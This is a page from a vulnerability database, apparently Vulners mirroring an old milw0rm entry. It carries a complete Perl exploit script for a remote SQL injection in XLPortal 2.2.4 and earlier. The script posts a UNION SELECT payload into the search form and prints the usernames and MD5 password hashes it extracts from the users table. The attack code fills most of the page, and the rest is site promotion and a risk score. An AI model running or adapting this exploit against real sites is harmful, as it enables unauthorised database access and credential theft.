Lucene search
K

XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

XLPortal <= 2.2.4 Remote SQL Injection Exploit using Per

Code

                                                #!D:\Perl\Bin\Perl.exe

use LWP::UserAgent;

#
#   XLPortal &#60;= 2.2.4 (search) Remote SQL Injection Exploit
#   Coded by cOndemned 
#   Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B&#39;day Avantura ;*
#

print &#34;\r\n[~] XLPortal &#60;= 2.2.4 (search) Remote SQL Injection Exploit&#34;;
print &#34;\r\n[~] Coded by cOndemned [22.03.2008]\r\n&#34;;

if (@ARGV &#60; 2) {
    print &#34;[~] Usage : $0 &#60;target_host&#62; &#60;pref&#62;\r\n&#34;;    # default pref is xlp / xlportal
    exit();
}

$head = new LWP::UserAgent;
$head-&#62;agent(&#34;Opera/9.26 (Windows NT 5.1; U; pl)&#34;);

my $request = HTTP::Request-&#62;new(POST =&#62; $ARGV[0].&#34;/index.php&#34;);


$buff = &#34;%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+&#34;.$ARGV[1].&#34;_users+%2F*&#34;;
$request-&#62;content_type(&#39;application/x-www-form-urlencoded&#39;);
$request-&#62;content(&#34;page=Szukaj&op=Wyszukaj&query=&#34;.$buff.&#34;&section_News=1&section_Download=1&s&#34;.
                  &#34;ection_Links=1&section_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw&#34;.
                  &#34;anie&#34;);
$response = $head-&#62;request($request);

if (($response-&#62;content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {        
    print &#34;[+] Login : $1\r\n&#34;;
    print &#34;[+] Haslo : $2\r\n&#34;;
}
else {
    print &#34;\r\n[~] This one isn&#39;t vulnerable, or bad data was given\r\n&#34;;
    exit();
}

# milw0rm.com [2008-03-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16